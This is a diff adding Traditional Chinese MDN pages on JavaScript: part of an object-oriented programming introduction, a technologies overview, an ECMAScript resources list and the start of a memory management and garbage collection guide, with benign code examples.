+<div class="note"><strong>注意：</strong>請參考 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/call">call</a> 及 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/apply">apply</a> 來取得更多有關 <code>this</code> 的資訊</div>
+
+<h4 id="繼承">繼承</h4>
+
+<p>繼承是一種用一個或多個類別建立一個特殊版本類別的方式 (<em>JavaScript 僅支援單一繼承</em>)。這個特殊的類別通常稱做<em>子類別</em>，而其引用的類別則通常稱作<em>父類別</em>。在 JavaScript 您可以指定父類別的實例到子類別來做到這件事。在最近的瀏覽器中您也可以使用 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create" title="/zh-TW/docs/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create">Object.create</a> 來實作繼承。</p>
+
+<div class="note">
+<p><strong>注意：</strong>JavaScript 不會偵測子類別的 <code>prototype.constructor</code> (請參考 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a>)，所以我們必須手動處理。請參考在 Stackoverflow 的問題 "<a href="https://stackoverflow.com/questions/8453887/why-is-it-necessary-to-set-the-prototype-constructor">為什麼一定要設定 prototype 的建構子?</a>"。</p>
+</div>
+
+<p>於以下範例，我們會定義類別 <code>Student</code> 做為 <code>Person</code> 的子類別。然後我們會重新定義 <code>sayHello()</code> 方法然後加入 <code>sayGoodBye()</code> 方法。</p>
+
+<pre class="brush: js notranslate">// 定義 Person 建構子
+var Person = function(firstName) {
+  this.firstName = firstName;
+};
+
+// 加入兩個方法到 Person.prototype
+Person.prototype.walk = function(){
+  console.log("I am walking!");
+};
+
+Person.prototype.sayHello = function(){
+  console.log("Hello, I'm " + this.firstName);
+};
+
+// 定義 Student 建構子
+function Student(firstName, subject) {
+  // Call the parent constructor, making sure (using call)
+  // that "this" is set correctly during the call
+  Person.call(this, firstName);
+
+  // Initialize our Student-specific properties
+  this.subject = subject;
+}
+
+// 建立 Student.prototype 物件來繼承 Person.prototype。
+// 注意: 在此處經常見的錯誤是使用 "new Person()" 來建立
+// Student.prototype。不正確的原因許多個，尤其是
+// 我們沒有給予 Person 任何 "firstName" 的參數。
+// 呼叫 Person 的正確位置在上方，也就是我們呼叫 Student
+// 的地方。
+Student.prototype = Object.create(Person.prototype); // 詳見以下說明
+
+// 設定 "constructor" 屬性參考 Student
+Student.prototype.constructor = Student;
+
+// 替換 "sayHello" 方法
+Student.prototype.sayHello = function(){
+  console.log("Hello, I'm " + this.firstName + ". I'm studying "
+              + this.subject + ".");
+};
+
+// 加入"sayGoodBye" 方法
+Student.prototype.sayGoodBye = function(){
+  console.log("Goodbye!");
+};
+
+// 範例用法:
+var student1 = new Student("Janet", "Applied Physics");
+student1.sayHello();   // "Hello, I'm Janet. I'm studying Applied Physics."
+student1.walk();       // "I am walking!"
+student1.sayGoodBye(); // "Goodbye!"
+
+// 檢查 instanceof 可正常運作
+console.log(student1 instanceof Person);  // true
+console.log(student1 instanceof Student); // true
+</pre>
+
+<p>於 <code>Student.prototype = Object.create(Person.prototype);</code> 一行：在舊版的 JavaScript 引擎沒有 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/create" title="Object.create"><code>Object.create</code></a>，可以使用 "polyfill" (又稱 "shim"，請參考以下文章連結) 或使用函數來達到同樣的效果，如：</p>
+
+<pre class="brush: js notranslate">function createObject(proto) {
+    function ctor() { }
+    ctor.prototype = proto;
+    return new ctor();
+}
+
+// 用法:
+Student.prototype = createObject(Person.prototype);
+</pre>
+
+<div class="note"><strong>注意：</strong> 請參考 <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/create" title="Object.create">Object.create</a> 來了解其功能與舊引擎使用的 shim。</div>
+
+<p>要在不管物件如何實例化的情況下確保 <code>this</code> 指向正確的地方並不簡單，儘管如此，這裡仍有一個簡單的習慣用法讓這件事變的較簡單。</p>
+
+<pre class="brush: js notranslate">var Person = function(firstName) {
+  if (this instanceof Person) {
+    this.firstName = firstName;
+  } else {
+    return new Person(firstName);
+  }
+}
+</pre>
+
+<h4 id="封裝">封裝</h4>
+
+<p>於上述例子中 <code>Student</code> 並不需要知道 <code>Person</code> 類別的 <code>walk()</code> 方法實作的方式，但仍可以使用該方法，除非我們想要更改該函數，否則 <code>Student</code> 類別並不需要明確的定義該函數。這樣的概念稱就叫作<strong>封裝 (Encapsulation)</strong>，透過將每個類別的資料與方法包裝成一個單位。</p>
+
+<p>隱藏資訊在其他語言是常見的功能，通當會使用私有 (Private) 與保護 (Protected) 方法/屬性。既使如此，您仍可在 JavaScript 模擬類似的操作，這並不是物件導向程式設計必要的功能。<a href="#cite-3"><sup>3</sup></a></p>
+
+<h4 id="抽象化">抽象化</h4>
+
+<p>抽象化是一個機制能讓您將工作問題的目前部份進行建立模型，不論是用繼承 (特殊化) 或是組合的方式。JavaScript 可以透過繼承達到特殊化 (Specialization)，並可讓類別實例成為其他物件的屬性來達到組合 (Composition)。</p>
+
+<p>JavaScript 的 Function 類別繼承 Object 類別 (這示範了模型的特殊化) 而 {{jsxref("Function.prototype")}} 屬性是 {{jsxref("Object")}} 的實例 (這示範了組合)。</p>
+
+<pre class="brush: js notranslate">var foo = function () {};
+
+// 會記錄 "foo is a Function: true"
+console.log('foo is a Function: ' + (foo instanceof Function));
+
+// 會記錄 "foo.prototype is an Object: true"
+console.log('foo.prototype is an Object: ' + (foo.prototype instanceof Object));</pre>
+
+<h4 id="Polymorphism" name="Polymorphism">多型</h4>
+
+<p>如同所有方法與屬性會定義在 prototype 之中，不同的類別可以定義相同名稱的方法，而這些方法的有效範圍其所在的類別之中，除非兩個類別之間有父子關係 (例如，其中一個類別是繼承另一個類別而來)。</p>
+
+<h2 id="注意">注意</h2>
+
+<p>在 JavaScript 並不是只有這些方式可以實作物件導向程式設計，JavaScript 在這方面非常有彈性。另外，在此處示範的方法並沒有使用任何語言特殊技巧，也沒有模仿其他語言的物件理論來實作。</p>
+
+<p>在 JavaScript 也有其他的方式可以做更進階的物件導向程式設計，但已超出本篇簡介的範圍。</p>
+
+<h2 id="參考文獻">參考文獻</h2>
+
+<ol>
+ <li><a href="https://en.wikipedia.org/wiki/Object-oriented_programming" id="cite-1">Wikipedia - Object-oriented programming</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Prototype-based_programming" id="cite-2">Wikipedia - Prototype-based programming</a></li>
+ <li><a href="http://en.wikipedia.org/wiki/Encapsulation_%28object-oriented_programming%29" id="cite-3">Wikipedia - Encapsulation (object-oriented programming)</a></li>
+</ol>
+
+<h2 id="相關資料">相關資料</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Strict_mode">嚴謹模式 (Strict mode)</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/javascript_technologies_overview/index.html b/files/zh-tw/web/javascript/javascript_technologies_overview/index.html
new file mode 100644
index 0000000000..7abcda9c85
--- /dev/null
+++ b/files/zh-tw/web/javascript/javascript_technologies_overview/index.html
@@ -0,0 +1,80 @@
+---
+title: JavaScript 技術概觀
+slug: Web/JavaScript/JavaScript_technologies_overview
+tags:
+  - DOM
+  - JavaScript
+translation_of: Web/JavaScript/JavaScript_technologies_overview
+---
+<p>{{JsSidebar("Introductory")}}</p>
+
+<h2 id="簡介">簡介</h2>
+
+<p>在網頁中，HTML 存放網頁的內容與格式，CSS 註記內容的呈現樣式；而 JavaScript 則用來產生豐富的效果或網頁應用程式。然而，在網頁瀏覽器中通稱的「JavaScript」是由眾多截然不同的要素所構成。其中之一是核心語言（ECMAScript），另一個則是 DOM（文件物件模型，Document Object Model）。</p>
+
+<h2 id="JavaScript_的核心語言（ECMAScript）">JavaScript 的核心語言（ECMAScript）</h2>
+
+<p>JavaScript 的核心語言是由 ECMA TC-39 委員會統一標準，並且命名為 <a href="/zh-TW/JavaScript/Language_Resources" title="en/JavaScript/Language_Resources">ECMAScript</a> 。隨著最新版本的規格 <a class="external" href="http://wiki.ecmascript.org/lib/exe/fetch.php?id=start&amp;cache=cache&amp;media=resources:tc39-2010-062-rev5p.pdf">ECMAScript 5</a> 在 2011 年 3 月推出，大部分最新的網頁瀏覽器實作了 ECMAScript 3 與部分的 ECMAScript 5。</p>
+
+<h3 id="ECMAScript_包含了什麼？">ECMAScript 包含了什麼？</h3>
+
+<p><a href="/zh-TW/JavaScript/Language_Resources" title="en/JavaScript/Language_Resources">ECMAScript</a> 主要定義了以下的內容：</p>
+
+<ul>
+ <li>語言的語法（解析規則，關鍵字，流程控制，物件的初始化… ）</li>
+ <li>錯誤處理機制 （throw、 try/catch、 允許自訂錯誤型別）</li>
+ <li>型態（布林代數、數字、字串、函數、物件…）</li>
+ <li>全域物件。在瀏覽器環境中，此物件即為 window 物件。許多函數皆包含在此物件下（parseInt, parseFloat, decodeURI, encodeURI…）</li>
+ <li>一種基於原型（Prototyping）的繼承機制</li>
+ <li>內建的物件與函數 （JSON、Math、Array.prototype 方法、物件自識方法…）</li>
+ <li>嚴格模式（Strict mode）</li>
+</ul>
+
+<h3 id="瀏覽器支援">瀏覽器支援</h3>
+
+<p>根據以前的經驗，ECMAScript 的功能都有良好且互通的支援。截至 2011 年 6 月，ECMAScript 5 的支援在不同瀏覽器實作之間存在差異。<a class="external" href="http://kangax.github.com/es5-compat-table/" title="http://kangax.github.com/es5-compat-table/">有些文件</a>整理了各瀏覽器對 ECMAScript 5 的支援情形。</p>
+
+<h3 id="未來發展">未來發展</h3>
+
+<p>自 1999 年 ECMA-262 第三版發行後，原先計畫將在 ECMAScript 的第四版（<strong>ECMAScript 4</strong> 或 <strong>ES4</strong>）進行首次的重大改動。然而，2008 年 8 月後，ECMAScript 第四版的提案已被縮減並編列至一個代號為 <a class="external" href="http://en.wikipedia.org/wiki/ECMAScript#ECMAScript_Harmony">ECMAScript Harmony</a> 的計畫，此計畫中定義了代理（Proxy）與關鍵字 <code>const<code> </code>等新要素。</code>ECMAScript <code>的發展可以參考</code><a class="external" href="http://wiki.ecmascript.org/doku.php" title="http://wiki.ecmascript.org/doku.php">這裡</a><code>。</code></p>
+
+<h2 id="DOM（文件物件模型）">DOM（文件物件模型）</h2>
+
+<h3 id="WebID">WebID</h3>
+
+<p><a class="external" href="http://dev.w3.org/2006/webapi/WebIDL/" title="http://dev.w3.org/2006/webapi/WebIDL/">WebIDL 規格書</a> 是 DOM 技術與 ECMAScript 之間相互黏合的基礎。</p>
+
+<h3 id="DOM_核心">DOM 核心</h3>
+
+<p>W3C 統一規範了文件物件模型的核心部分。它定義了無關語言而將 HTML 與 XML 文件抽象化為物件的介面，以及對抽象化物件進行處理的機制。在 DOM 的定義中包含：</p>
+
+<ul>
+ <li><a class="external" href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">DOM core </a>中的文件結構、樹狀模型，DOM 事件結構：Node, Element, DocumentFragment, Document, DOMImplementation, Event, EventTarget, …</li>
+ <li><a class="external" href="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html" title="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html">DOM events</a> 中對 DOM 事件結構（DOM Event Architecture）和特定事件的廣義定義。</li>
+ <li>其他如 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html">DOM Traversal</a> 和 <a class="external" href="http://html5.org/specs/dom-range.html" title="http://html5.org/specs/dom-range.html">DOM Range</a>。</li>
+</ul>
+
+<p>以 ECMAScript 的觀點來看，DOM 規範所定義的物件被稱為宿主物件（Host objects）  。</p>
+
+<h3 id="HTML_DOM">HTML DOM</h3>
+
+<p>網頁標記語言 <a class="external" href="http://www.whatwg.org/html" title="http://www.whatwg.org/html">HTML</a> 是依據 DOM 來規格化。在 DOM 核心中，定義了虛擬概念的分層，而 HTML 也定義了元素的意義。 HTML DOM 包含了 HTML 元素的 <code>className 屬性<code>與</code>諸如 </code>{{ domxref("document.body") }} 的 API。</p>
+
+<p>HTML 的規格書也定義了在文件上的一些限制；例如，他要求所有 <code>ul</code> 元素（代表無順序編號的清單）的子元素必須是 <code>li 元素（代表清單</code>中的項目）。而未在標準中定義的元素和屬性通常在規格中被禁用。</p>
+
+<h2 id="其他重要的_API">其他重要的 API</h2>
+
+<ul>
+ <li>setTimeout 和 setInterval 函數首次納入 HTML 標準中的 <a class="external" href="http://www.whatwg.org/html/#window" title="http://www.whatwg.org/html/#window">Window</a> 介面</li>
+ <li><a class="external" href="http://dev.w3.org/2006/webapi/XMLHttpRequest-2/" title="http://dev.w3.org/2006/webapi/XMLHttpRequest-2/">XMLHttpRequest</a>：允許傳送非同步 HTTP 請求的 API。</li>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom/">CSS Object Model</a>：CSSOM 用來將 CSS 的規則轉換為物件。</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-workers/current-work/">WebWorkers</a>：允許平行計算的 API。</li>
+ <li><a class="external" href="http://www.whatwg.org/C/#network">WebSockets</a>：允許低階雙向溝通的 API。</li>
+ <li><a class="external" href="http://www.whatwg.org/html/#2dcontext" title="http://www.whatwg.org/html/#2dcontext">Canvas 2D Context</a>：canvas 元素的繪圖 API。</li>
+</ul>
+
+<h2 id="瀏覽器支援_2">瀏覽器支援</h2>
+
+<p>每個網頁開發者都曾經體會過 <a class="external" href="http://ejohn.org/blog/the-dom-is-a-mess/">一團混亂的 DOM 支援狀況</a>。某些功能上不同瀏覽器的支援可能差異很大，因為過去重要的 DOM 功能都沒有明確的規範，進而使不同網頁瀏覽器對相同的使用情境實踐了互不相容的功能（像是 Internet Explorer 的事件模型）。最近（截至 2011年6月），由 W3C 與（特別是）WHATWG 對舊功能重新進行詳盡的定義以提升互通性成為了趨勢 。為了跟進這個趨勢，許多網頁瀏覽器也根據這些新規格改進它們的實作。</p>
+
+<p>雖然並未完全可靠，使用 JavaScript 函式庫是解決跨瀏覽器相容問題的最普遍方式。 這些函式庫將 DOM 的功能抽象化，確保其 API 在不同的瀏覽器中能以相似的方式運作。廣為被使用的框架包括<a class="external" href="http://jquery.com/"> jQuery</a>、<a class="external" href="http://www.prototypejs.org/">prototype</a> 和 <a class="external" href="http://developer.yahoo.com/yui/">YUI</a>。</p>
diff --git a/files/zh-tw/web/javascript/language_resources/index.html b/files/zh-tw/web/javascript/language_resources/index.html
new file mode 100644
index 0000000000..975722d97a
--- /dev/null
+++ b/files/zh-tw/web/javascript/language_resources/index.html
@@ -0,0 +1,77 @@
+---
+title: JavaScript 語言的資源
+slug: Web/JavaScript/Language_Resources
+translation_of: Web/JavaScript/Language_Resources
+---
+<div>{{JsSidebar}}</div>
+
+<div>
+<p><strong>ECMAScript</strong> 是一種 scripting language 的規範，<a href="../../../../en/JavaScript" rel="internal">JavaScript</a> 即是植基於他實做的。 ECMAScript 是由 <strong>ECMA-262 specification </strong>中的 <a class="external" href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">Ecma International</a> standards organization 訂立標準的。以下是目前已經被發表的 ECMAScript 標準：</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>ECMA 名稱</th>
+   <th>相關連結</th>
+   <th>發表日期</th>
+   <th>基本資訊</th>
+  </tr>
+  <tr>
+   <td>ECMA-262</td>
+   <td><a class="external" href="http://www.mozilla.org/js/language/E262.pdf">PDF</a></td>
+   <td>June 1997</td>
+   <td>ECMAScript standard 的最初始版本</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 Edition 2</td>
+   <td><a class="external" href="http://www.mozilla.org/js/language/E262-2.pdf">PDF</a></td>
+   <td>August 1998</td>
+   <td>ECMAScript standard 的第二版，同時也是 standard 16262</td>
+  </tr>
+  <tr>
+   <td>ECMA-262 Edition 3</td>
+   <td><a class="external" href="http://www.mozilla.org/js/language/E262-3.pdf">PDF</a> <a class="external" href="http://www.mozilla.org/js/language/E262-3.doc">Word</a> <a class="external" href="http://bclary.com/2004/11/07/" title="http://bclary.com/2004/11/07/">HTML</a></td>
+   <td>December 1999</td>
+   <td>ECMAScript standard 的第二版。JavaScript 1.5 即是此版本的實做，更多資料請見 <a class="external" href="http://www.mozilla.org/js/language/E262-3-errata.html">errata</a></td>
+  </tr>
+  <tr>
+   <td>ECMA-262 Edition 5</td>
+   <td><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262%205th%20edition%20December%202009.pdf" title="http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262%205th%20edition%20December%202009.pdf">PDF</a> <a class="external" href="http://people.mozilla.org/~jorendorff/es5.html" title="http://people.mozilla.org/~jorendorff/es5.html">HTML</a></td>
+   <td>December 2009</td>
+   <td>ECMAScript 5。更多資料請見 <a class="external" href="http://wiki.ecmascript.org/doku.php?id=es3.1:es3.1_proposal_working_draft">ES5 errata</a> 以及 <a href="/En/JavaScript/ECMAScript_5_support_in_Mozilla" title="en/JavaScript/ECMAScript 5 support in Mozilla">ECMAScript 5 support in Mozilla</a></td>
+  </tr>
+  <tr>
+   <td>ECMA-262 Edition 5.1</td>
+   <td><a class="external" href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf">PDF</a></td>
+   <td>June 2011</td>
+   <td>ECMAScript 5.1。這是目前最新的版本。這個版本同時對上了 3<sup>rd</sup> edition of the international standard <a class="external" href="http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=55755">ISO/IEC 16262:2011</a>。他只多了 ES5 額外的修正，並沒增加新的 features。</td>
+  </tr>
+  <tr>
+   <td>ECMA-357</td>
+   <td><a class="external" href="http://www.mozilla.org/js/language/ECMA-357.pdf">PDF</a></td>
+   <td>June 2004</td>
+   <td><a href="/en/E4X" title="en/E4X">ECMAScript for XML (E4X)</a>。更多資料請見 <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=169406">E4X errata</a>。</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>   你也可以在 <a class="external" href="http://en.wikipedia.org/wiki/ECMAScript" title="http://en.wikipedia.org/wiki/ECMAScript">wikipedia ECMAScript entry</a> 得知更多關於 ECMAScript 的歷史。此外，你也可以加入 ECMAScript 下一版名為 Harmony 的修訂，只要透過 <a class="external" href="http://www.ecmascript.org/community.php" title="http://www.ecmascript.org/community.php">ecmascript.org</a> 的公開 wiki 或 <a class="link-https" href="https://mail.mozilla.org/listinfo/es-discuss" title="https://mail.mozilla.org/listinfo/es-discuss">es-discuss mailing list</a> 。</p>
+
+<h2 id="相關實做">相關實做</h2>
+
+<ul>
+ <li><a href="/en/SpiderMonkey" title="en/SpiderMonkey">SpiderMonkey</a> - Firefox 使用的 JavaScript engine。</li>
+ <li><a href="/en/Rhino" title="en/Rhino">Rhino</a> - 以 Java 撰寫的 JavaScript engine 。</li>
+ <li><a href="/en/Tamarin" title="en/Tamarin">Tamarin</a> - ActionScript virtual machine (Adobe® Flash® Player 使用)。</li>
+ <li><a class="external" href="http://en.wikipedia.org/wiki/List_of_ECMAScript_engines" title="http://en.wikipedia.org/wiki/List_of_ECMAScript_engines">Other implementations</a> (wikipedia).</li>
+</ul>
+
+<h3 id="更多資訊">更多資訊</h3>
+
+<ul>
+ <li><a class="external" href="http://brendaneich.com/" title="http://brendaneich.com/">Brendan Eich's blog</a>. Brendan is the creator of JavaScript and the SpiderMonkey JS engine. He still works with the ECMA working group to evolve the language.</li>
+ <li><a class="external" href="http://dmitrysoshnikov.com/" title="http://dmitrysoshnikov.com/">Dmitry Soshnikov's analysis of ECMA-262 Edition 3 and 5</a></li>
+</ul>
+
+<p>{{ languages( { "ja": "ja/JavaScript_Language_Resources", "pl": "pl/Zasoby_j\u0119zyka_JavaScript" } ) }}</p>
+</div>
diff --git a/files/zh-tw/web/javascript/memory_management/index.html b/files/zh-tw/web/javascript/memory_management/index.html
new file mode 100644
index 0000000000..defd71cce3
--- /dev/null
+++ b/files/zh-tw/web/javascript/memory_management/index.html
@@ -0,0 +1,204 @@
+---
+title: 記憶體管理
+slug: Web/JavaScript/Memory_Management
+tags:
+  - Garbage collection
+  - JavaScript
+  - 記憶體
+translation_of: Web/JavaScript/Memory_Management
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<h2 id="介紹">介紹</h2>
+
+<p>像 C 語言一樣低階的語言，都有著如 malloc() 跟 free() 的低階函式記憶體控管權限。另一方面，當 JavaScript 建立事物(如物件、字串等)時會分配空間給值且自動釋放不再使用的值。後者的流程稱作為回收機制。這個自動化的回收流程是一個混亂的根源，它會使 JavaScript 的開發者 (或者其他高階語言的開發者) 產生可以不須理會「記憶體管理」的錯誤認知。</p>
+
+<h2 id="記憶體生命週期">記憶體生命週期</h2>
+
+<p>不論是哪種程式語言，記憶體生命週期(運作方式)幾乎總是一樣：</p>
+
+<ol>
+ <li>配置你程式需要的記憶體空間</li>
+ <li>使用配置到的記憶體空間(讀，寫)</li>
+ <li>當不再使用時釋放已被配置的記憶體空間</li>
+</ol>
+
+<p>在所有語言中，第二點的(運作方式)是確定的。第一點以及最後一點在低階語言中是確定的，但是在高階語言如 JavaScript 則通常是不明確的。</p>
+
+<h3 id="JavaScript_的記憶體配置">JavaScript 的記憶體配置</h3>
+
+<h4 id="值的初始化">值的初始化</h4>
+
+<p>為了不讓開發者對配置感到困擾，JavaScript 會在宣告值的同時完成記憶體配置</p>
+
+<pre class="brush: js notranslate">var n = 123; // 配置一記憶體空間給數字
+var s = 'azerty'; // 配置記憶體空間給字串
+
+var o = {
+  a: 1,
+  b: null
+}; //配置記憶體空間給內含值的物件
+
+// (像物件一樣) 分配記憶體給一個陣列
+// 該陣列包含一些值
+var a = [1, null, 'abra'];
+
+function f(a) {
+  return a + 2;
+} // 分配記憶體給一個函式 (一個可呼叫的物件)
+
+// function expressions also allocate an object
+someElement.addEventListener('click', function() {
+  someElement.style.backgroundColor = 'blue';
+}, false);
+</pre>
+
+<h4 id="藉由函式呼叫來配置">藉由函式呼叫來配置</h4>
+
+<p>有些函式呼叫後產生物件配置。</p>
+
+<pre class="brush: js notranslate">var d = new Date(); // 配置一個日期物件
+
+var e = document.createElement('div'); // 配置一個 DOM 物件</pre>
+
+<p>有些方法配置新的值或物件：</p>
+
+<pre class="brush: js notranslate">var s = 'azerty';
+var s2 = s.substr(0, 3); // s2 是一個新字串
+// 因為字串是一種不可變的值，
+// JavaScript 會決定不分配新的記憶體，
+// 只儲存 0 到 3 這個範圍的字元。
+
+var a = ['ouais ouais', 'nan nan'];
+var a2 = ['generation', 'nan nan'];
+var a3 = a.concat(a2);
+// 一個有四個元素的新陣列
+// 將 a 與 a2 的元素串聯起來
+</pre>
+
+<h3 id="值的使用">值的使用</h3>
+
+<p>基本上使用值表示對已被配置的記憶體做讀寫。可藉由讀取或寫入變數的值或一個物件特性或甚至傳一個參數到函數中來完成此事。</p>
+
+<h3 id="釋放不再使用的記憶體">釋放不再使用的記憶體</h3>
+
+<p>當我們談論到記憶體管理，問題通常出現在這個階段。最困難的工作是尋找「已不再被使用的記憶體配置空間」。</p>
+
+<p>Low-level languages require the developer to manually determine at which point in the program the allocated memory is no longer needed and to release it.</p>
+
+<p>高階的語言 (e.g. JavaScript) 有一個叫作垃圾回收器(garbage collector) 的系統，他的工作是追蹤記憶體分配的使用情況，以便自動釋放一些不再使用的記憶體空間。但這個垃圾回收器只是「儘量」做到自動釋放記憶體空間，因為判斷記憶體空間是否要繼續使用，這件事是「不可判定(<a href="https://en.wikipedia.org/wiki/Decidability_%28logic%29">undecidable</a>)」的（不能用演算法來解決）。</p>
+
+<h2 id="回收機制">回收機制</h2>
+
+<p>如上所述，要自動判定記憶體空間「不再使用」是不可能的。因此，回收機制只是實作一個大部份特定情況下的解決辦法。本章節將解釋主要的垃圾回收機制演算法與他們的限制。</p>
+
+<h3 id="參考">參考</h3>
+
+<p>回收機制的演算法主要概念是參考(reference)概念。在記憶體管理的上下文中(context)，如果一個物件可以訪問到另一個物件(無論是隱式或顯式)，即稱為該物件參考另一個物件。例如：JavaScript 的物件都有參考該物件的原型(prototype) (隱式參考) 以及該物件的屬性值 (顯式參考)。</p>
+
+<p>在原型鏈的情況下，物件的概念擴展到比普通的 JavasScript 物件更廣，這個概念還包含函數作用域 (function scopes)（或全局詞法作用域 (global lexical scope) ）。</p>
+
+<h3 id="Reference-counting_garbage_collection">Reference-counting garbage collection</h3>
+
+<p>這是一個最務實的垃圾回收演算法。 這個演算法將原本「這個物件再也不會被使用」的廣泛定義縮減到「沒有其他任何物件參考它」。如果一個物件不在被任何物件參考，它將被視為可回收記憶體的垃圾。</p>
+
+<h4 id="範例">範例</h4>
+
+<pre class="brush: js notranslate">var o = {
+  a: {
+    b: 2
+  }
+};
+// 兩個物件被創造出來。其中一個物件(b)被視為另一個物件(a)的屬性，並且被該物件(a)參考
+// 另一個物件(a)被分配給一個變數(o)，並且被變數(o)參考
+// 很明顯的，沒有任何物件應該被回收
+
+
+var o2 = o; // 另外創造第二個變數(o2)
+            // 他參考一個物件
+o = 1;      // 現在，物件 o 有另一個不同的參考
+            // 而原本在物件 o 的物件，則被物件 o2 參考
+
+var oa = o2.a; // 變數 oa 參考物件 a
+               // 物件 a 有兩個物件參考到它，一個是 o2，並且它是 o2 的屬性
+               // 另一個是變數 oa
+
+o2 = 'yo'; // 現在 o2 變成 'yo'
+           // 原本應該沒有任何物件參考到 a ，因此它應該被回收
+           // 但 a 仍然被變數 oa 參考，因此它逃過被回收的命運
+
+oa = null; // 現在把 oa 變成 null
+           // 因為沒有任何物件與變數參考 a ，因此他可以被回收
+</pre>
+
+<h4 id="限制：循環">限制：循環</h4>
+
+<p><span style='background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: "Open Sans","Clear Sans","Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap;'>當涉及到循環時有一個限制。在下面的例子中，創造兩個物件並相互參考，從而製作一個循環。當呼叫函式時，他們應該超出作用範圍，因此他們實際上是無用且可釋放。但垃圾回收參考計數演算法會認為，兩個物件都至少被參考一次，因此兩個都是不能被回收的。</span></p>
+
+<pre class="brush: js notranslate">function f() {
+  var o = {};
+  var o2 = {};
+  o.a = o2; // o 參考 o2
+  o2.a = o; // o2 參考 o
+
+  return 'azerty';
+}
+
+f();
+</pre>
+
+<h4 id="真實案例">真實案例</h4>
+
+<p><span style='background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: "Open Sans","Clear Sans","Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap;'>Internet Explorer 6和7有一個DOM物件的垃圾回收參考計數。循環是一個造成記憶體洩漏(memory leaks)的常見問題：</span></p>
+
+<pre class="brush: js notranslate">var div;
+window.onload = function() {
+  div = document.getElementById('myDivElement');
+  div.circularReference = div;
+  div.lotsOfData = new Array(10000).join('*');
+};
+</pre>
+
+<p><span style='background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: "Open Sans","Clear Sans","Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap;'>在上面的例子中，DOM 元素「myDivElement」在「circularReference」屬性中有一個循環參考。如果該屬性未被直接刪除或為零，垃圾回收參考計數將視其始終至少有一個參考保持不變，並將 DOM 元素保存在記憶體裡，即使它已從DOM 樹中移除。如果該 DOM 元素擁有大量資料（如同上面的例子中的 lotsOfData 屬性），則此資料所佔用的記憶體將永遠不會釋放。</span></p>
+
+<h3 id="標記和清理演算法">標記和清理演算法</h3>
+
+<p><span style='background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: "Open Sans","Clear Sans","Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap;'>這個演算法將「這個物件再也不會被使用」的定義縮減到「這個物件不可到達」。</span></p>
+
+<p><span style='background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: "Open Sans","Clear Sans","Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap;'>這個演算法假設一組物件，其名為「根 (roots)」（在 JavaScript 中，根(roots)是全局物件）。垃圾回收器定期從這些根開始，尋訪所有被根參考的物件與那些物件參考的物件。垃圾回收器會回收那些沒有被尋訪的到物件。</span></p>
+
+<p><span style='background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: "Open Sans","Clear Sans","Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap;'>這個演算法比前一個演算法更好，因為一個不被任何物件參考的物件，一定無法從根被尋訪到。然而，一個無法從根被尋訪到的物件，不一定不被任何物件參考，可以在循環的例子中發現這件事。</span></p>
+
